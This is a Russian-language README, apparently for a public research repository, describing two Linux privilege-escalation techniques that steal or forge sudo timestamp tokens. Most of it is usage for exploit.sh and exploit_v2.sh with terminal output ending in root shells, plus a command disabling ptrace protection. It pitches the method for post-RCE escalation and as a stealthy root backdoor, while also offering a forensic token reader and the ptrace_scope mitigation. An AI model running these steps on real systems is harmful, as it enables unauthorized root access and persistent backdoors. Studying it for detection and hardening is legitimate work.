
[Linux] Две техники повышения привилегий, злоупотребляющие токеном sudo
Мы все замечали, что иногда sudo не спрашивает пароль, потому что запоминает нас. Как он нас запоминает и как идентифицирует? Можем ли мы подделать свою личность и стать root? Насколько мне известно, это исследование ещё нигде не описано, но дайте знать, если это не так. Действительно, sudo создаёт файл для каждого пользователя Linux в /var/run/sudo/ts/[username]. Эти файлы содержат как успешные, так и неудачные попытки аутентификации, затем sudo использует эти файлы, чтобы запоминать все аутентифицированные процессы. -- @chaignc
Этот репозиторий предоставляет вам:
PS: прочтите требования!!
$ sudo whatever
[sudo] password for user: # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
The default password timeout is 15 minutes. So if you use sudo twice in 15 minutes (900 seconds), you will not be asked to type the user’s password again.
exploit.sh внедряется во все shell-процессы, принадлежащие текущему пользователю, и использует их sudo-токены для подтверждения нашего собственного sudo-токена. Это всего лишь 3 строки shell, взгляните.
Это далеко не универсальный способ повышения привилегий без требований, но он работает. Например, если у вас есть RCE и нет пароля пользователя, но жертва использует sudo, вы легко можете получить root, похитив его токен.
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # Don't worry this is not persistent accross reboot
Запустите два терминала:
Для тех, кому не повезло с exploit v1, попробуйте v2
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 ->
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
Вывод нужно улучшить, но каждая попытка процесса использовать sudo имеет одну запись в /var/run/sudo/ts/[username]. Кроме того, эти файлы хранятся в tmpfs (RAM); можно написать плагин для volatility, чтобы разбирать эту информацию и собирать данные о попытках sudo.
./read_sudo_token_forensic < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000
Если у вас есть произвольная запись (arbitrary write), вы можете создать sudo-токен для своего текущего процесса, чтобы получить выполнение кода с root-правами. Обратите внимание на './write_sudo_token $$ > /var/run/sudo/ts/[username]' в extra_tools.
Очень хороший способ создать скрытый root-бэкдор на серверах, которые редко перезагружаются. Ещё не реализовано, но посмотрите './write_sudo_token $$' в ./extra_tools
Я искал способ похитить sudo-токен мёртвого процесса, но, похоже, это невозможно, поскольку они привязаны через ((время запуска процесса и идентификатор сессии процесса) или (время запуска tty и идентификатор сессии tty)). Идентификатор сессии (PID процесса) можно подделать, но время запуска процесса подделать нельзя.
kernel.yama.ptrace_scope = 1
Внедрение кода между процессами в Linux без ptrace
Перемещение процесса в другой терминал
https://www.linusakesson.net/programming/tty/
Автор: @chaignc #HexpressoTeam.